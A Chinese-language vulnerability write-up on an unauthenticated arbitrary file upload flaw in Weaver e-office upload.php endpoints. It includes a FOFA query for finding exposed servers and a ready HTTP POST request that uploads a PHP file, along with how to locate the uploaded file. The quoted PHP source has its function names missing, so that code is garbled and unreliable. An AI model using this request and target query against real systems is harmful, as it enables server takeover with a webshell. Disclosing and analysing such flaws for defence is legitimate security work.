泛微e-office upload.php 文件上传漏洞


漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office webservice/upload.php、 webservice/upload/upload.php 、webservice-json/upload/upload.php 和 webservice-xml/upload/upload.php 接口存在任意文件上传漏洞,允许未经身份验证的攻击者上传恶意代码,植入后门,获取服务器权限,并控制整个 Web 服务器。

影响版本

e-office <=9.5

fofa语法

app="泛微-EOffice"

漏洞分析

由于四个文件的代码相同,这里以 webservice/upload/upload.php来看其业务逻辑

<?php
include_once( "inc/utility_all.php" );
$pathInfor = ( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? ( $role, ( $extension ) ) : false;
if ( !( $pos === false ) )
{
    echo "false";
}
else
{
    $attachmentID = ( $extension );
    global $ATTACH_PATH;
    $path = $ATTACH_PATH.$attachmentID;
    if ( !( $path ) )
    {
        ( $path, 448 );
    }
    $attachmentName = $_FILES['file']['tmp_name'];
    $fileName = $path."/".$_FILES['file']['name'];
    $fileName = ( "UTF-8", "GBK", $fileName );
    ( $_FILES['file']['tmp_name'], $fileName );
    if ( !( $fileName ) )
    {
        echo "false";
    }
    else
    {
        echo $attachmentID."*".$_FILES['file']['name'];
    }
}
?>

可以明显看到,直接进行文件操作,无任何过滤或校验,导致任意文件上传漏洞。

漏洞复现

POST /webservice/upload/upload.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Length: 248

------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="file"; filename="test.php"

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarySIELKZKzD7vQmdsO--

访问上传文件 3601032174*test.php 由响应内容拼接最终路径 attachment/3601032174/test.php


手机扫码阅读

泛微e-office SignatureDel.php sql注入漏洞

泛微e-office OfficeServer.php 文件上传漏洞

评 论